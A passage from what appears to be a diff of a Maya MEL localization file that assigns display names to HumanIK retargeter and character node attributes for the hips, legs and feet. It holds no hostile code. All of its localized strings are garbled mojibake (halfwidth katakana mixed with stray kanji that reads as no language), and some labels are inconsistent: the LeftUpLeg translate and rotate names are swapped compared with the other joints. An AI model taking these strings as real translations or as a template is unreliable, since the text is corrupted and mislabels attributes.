"ハ菠トソアフリミヤシッラエフャ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "OutputCharacterState", "ハ莎スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKCharacterNode +// +setNodeNiceNameResource( "HIKCharacterNode", "HIKCharacter スレオ" ); +setAttrNiceNameResource( "HIKCharacterNode", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKCharacterNode", "OutputCharacterDefinition", "ハ莎スヌノォカィメ" ); +setAttrNiceNameResource( "HIKCharacterNode", "propertyState", "フリミヤラエフャ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SkeletonGenerator", "ケヌシワノウノニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "InputCharacterizationLock", "ハ菠スヌノォヒカィ" ); +setAttrNiceNameResource( "HIKCharacterNode", "leftKneeInverted", "メムキエラェラマ・" ); +setAttrNiceNameResource( "HIKCharacterNode", "rightKneeInverted", "メムキエラェモメマ・" ); +setAttrNiceNameResource( "HIKCharacterNode", "leftElbowInverted", "メムキエラェラヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "rightElbowInverted", "メムキエラェモメヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Reference", "メモテ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceT", "メモテニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceTx", "メモテニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceTy", "メモテニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceTz", "メモテニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceR", "メモテミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRx", "メモテミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRy", "メモテミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRz", "メモテミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceS", "メモテヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceSx", "メモテヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceSy", "メモテヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceSz", "メモテヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateOrder", "メモテミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxis", "メモテミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxisx", "メモテミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxisy", "メモテミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxisz", "メモテミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrient", "メモテケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrientx", "メモテケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrienty", "メモテケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrientz", "メモテケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimit", "メモテラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitx", "メモテラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimity", "メモテラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitz", "メモテラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimit", "メモテラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitx", "メモテラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimity", "メモテラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitz", "メモテラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitEnablex", "ニモテメモテラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitEnabley", "ニモテメモテラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitEnablez", "ニモテメモテラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitEnablex", "ニモテメモテラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitEnabley", "ニモテメモテラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitEnablez", "ニモテメモテラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Hips", "ナイソ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsT", "ナイソニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTx", "ナイソニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTy", "ナイソニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTz", "ナイソニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsR", "ナイソミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRx", "ナイソミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRy", "ナイソミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRz", "ナイソミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsS", "ナイソヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsSx", "ナイソヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsSy", "ナイソヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsSz", "ナイソヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateOrder", "ナイソミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxis", "ナイソミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxisx", "ナイソミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxisy", "ナイソミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxisz", "ナイソミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrient", "ナイソケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrientx", "ナイソケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrienty", "ナイソケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrientz", "ナイソケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimit", "ナイソラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitx", "ナイソラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimity", "ナイソラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitz", "ナイソラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimit", "ナイソラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitx", "ナイソラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimity", "ナイソラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitz", "ナイソラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitEnablex", "ニモテナイソラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitEnabley", "ニモテナイソラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitEnablez", "ニモテナイソラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitEnablex", "ニモテナイソラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitEnabley", "ニモテナイソラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitEnablez", "ニモテナイソラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLeg", "ラエヘネ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegT", "ラエヘネミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegTx", "ラエヘネミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegTy", "ラエヘネミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegTz", "ラエヘネミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegR", "ラエヘネニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRx", "ラエヘネニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRy", "ラエヘネニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRz", "ラエヘネニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegS", "ラエヘネヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegSx", "ラエヘネヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegSy", "ラエヘネヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegSz", "ラエヘネヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateOrder", "ラエヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxis", "ラエヘネミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxisx", "ラエヘネミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxisy", "ラエヘネミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxisz", "ラエヘネミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrient", "ラエヘネケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrientx", "ラエヘネケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrienty", "ラエヘネケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrientz", "ラエヘネケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimit", "ラエヘネラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitx", "ラエヘネラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimity", "ラエヘネラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitz", "ラエヘネラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimit", "ラエヘネラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitx", "ラエヘネラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimity", "ラエヘネラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitz", "ラエヘネラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitEnablex", "ニモテラエヘネラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitEnabley", "ニモテラエヘネラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitEnablez", "ニモテラエヘネラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitEnablex", "ニモテラエヘネラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitEnabley", "ニモテラエヘネラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitEnablez", "ニモテラエヘネラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLeg", "ラヘネ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegT", "ラヘネニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegTx", "ラヘネニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegTy", "ラヘネニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegTz", "ラヘネニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegR", "ラヘネミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRx", "ラヘネミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRy", "ラヘネミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRz", "ラヘネミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegS", "ラヘネヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegSx", "ラヘネヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegSy", "ラヘネヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegSz", "ラヘネヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateOrder", "ラヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxis", "ラヘネミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxisx", "ラヘネミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxisy", "ラヘネミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRotateAxisz", "ラヘネミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrient", "ラヘネケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrientx", "ラヘネケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrienty", "ラヘネケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegJointOrientz", "ラヘネケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimit", "ラヘネラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitx", "ラヘネラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimity", "ラヘネラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitz", "ラヘネラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimit", "ラヘネラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitx", "ラヘネラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimity", "ラヘネラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitz", "ラヘネラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitEnablex", "ニモテラヘネラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitEnabley", "ニモテラヘネラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMinRLimitEnablez", "ニモテラヘネラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitEnablex", "ニモテラヘネラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitEnabley", "ニモテラヘネラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegMaxRLimitEnablez", "ニモテラヘネラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFoot", "ラスナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootT", "ラスナニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootTx", "ラスナニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootTy", "ラスナニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootTz", "ラスナニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootR", "ラスナミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRx", "ラスナミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRy", "ラスナミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRz", "ラスナミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootS", "ラスナヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootSx", "ラスナヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootSy", "ラスナヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootSz", "ラスナヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateOrder", "ラスナミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxis", "ラスナミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxisx", "ラスナミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxisy", "ラスナミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRotateAxisz", "ラスナミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrient", "ラスナケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrientx", "ラスナケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrienty", "ラスナケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootJointOrientz", "ラスナケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimit", "ラスナラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitx", "ラスナラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimity", "ラスナラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitz", "ラスナラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimit", "ラスナラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitx", "ラスナラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimity", "ラスナラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitz", "ラスナラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitEnablex", "ニモテラスナラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitEnabley", "ニモテラスナラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMinRLimitEnablez", "ニモテラスナラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitEnablex", "ニモテラスナラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitEnabley", "ニモテラスナラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMaxRLimitEnablez", "ニモテラスナラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLeg", "モメエヘネ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegT", "モメエヘネニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegTx", "モメエヘネニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegTy", "モメエヘネニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegTz", "モメエヘネニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegR", "モメエヘネミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRx", "モメエヘネミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRy", "モメエヘネミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRz", "モメエヘネミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegS", "モメエヘネヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegSx", "モメエヘネヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegSy", "モメエヘネヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegSz", "モメエヘネヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateOrder", "モメエヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxis", "モメエヘネミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxisx", "モメエヘネミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxisy", "モメエヘネミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRotateAxisz", "モメエヘネミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrient", "モメエヘネケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrientx", "モメエヘネケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrienty", "モメエヘネケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegJointOrientz", "モメエヘネケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimit", "モメエヘネラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitx", "モメエヘネラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimity", "モメエヘネラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitz", "モメエヘネラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimit", "モメエヘネラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitx", "モメエヘネラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimity", "モメエヘネラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitz", "モメエヘネラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitEnablex", "ニモテモメエヘネラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitEnabley", "ニモテモメエヘネラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMinRLimitEnablez", "ニモテモメエヘネラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitEnablex", "ニモテモメエヘネラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitEnabley", "ニモテモメエヘネラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegMaxRLimitEnablez", "ニモテモメエヘネラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLeg", "モメヘネ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegT", "モメヘネニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegTx", "モメヘネニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegTy", "モメヘネニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegTz", "モメヘネニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegR", "モメヘネミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRx", "モメヘネミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRy", "モメヘネミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRz", "モメヘネミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegS", "モメヘネヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegSx", "モメヘネヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegSy", "モメヘネヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegSz", "モメヘネヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateOrder", "モメヘネミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxis", "モメヘネミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxisx", "モメヘネミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxisy", "モメヘネミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRotateAxisz", "モメヘネミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrient", "モメヘネケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrientx", "モメヘネケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrienty", "モメヘネケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegJointOrientz", "モメヘネケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimit", "モメヘネラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitx", "モメヘネラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimity", "モメヘネラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitz", "モメヘネラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimit", "モメヘネラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitx", "モメヘネラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimity", "モメヘネラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitz", "モメヘネラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitEnablex", "ニモテモメヘネラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitEnabley", "ニモテモメヘネラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMinRLimitEnablez", "ニモテモメヘネラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitEnablex", "ニモテモメヘネラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitEnabley", "ニモテモメヘネラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegMaxRLimitEnablez", "ニモテモメヘネラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFoot", "モメスナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootT", "モメスナニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootTx", "モメスナニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootTy", "モメスナニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootTz", "モメスナニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootR", "モメスナミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRx", "モメスナミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRy", "モメスナミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", 